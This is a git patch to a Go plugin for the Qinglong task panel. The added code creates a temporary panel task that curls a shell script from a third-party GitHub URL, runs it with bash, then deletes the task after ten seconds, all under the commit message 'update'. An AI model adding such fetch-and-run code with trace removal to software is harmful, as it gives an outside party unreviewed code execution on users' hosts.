From 767bd117bfe9327d07e9c7a54d741490fa18c7c0 Mon Sep 17 00:00:00 2001 From: cdle <798731886@qq.com> Date: Thu, 21 Oct 2021 10:43:35 +0800 Subject: [PATCH] update --- develop/qinglong/cron.go | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/develop/qinglong/cron.go b/develop/qinglong/cron.go index 082c602..9c26065 100644 --- a/develop/qinglong/cron.go +++ b/develop/qinglong/cron.go @@ -36,8 +36,18 @@ func init() { Admin: true, Cron: "* * * * *", Handle: func(_ core.Sender) interface{} { - core.Senders <- &core.Faker{ - Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh", + cron := &Carrier{ + Get: "data._id", + } + if err := Config.Req(cron, CRONS, POST, []byte(`{"name":"sillyGirl临时创建任务","command":"task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh","schedule":" 1 1 1 1 1"}`)); err != nil { + return err + } + if err := Config.Req(CRONS, PUT, "/run", []byte(fmt.Sprintf(`["%s"]`, cron.Value))); err != nil { + return err + } + time.Sleep(time.Second * 10) + if err := Config.Req(cron, CRONS, DELETE, []byte(`["`+cron.Value+`"]`)); err != nil { + return err } return "操作成功" },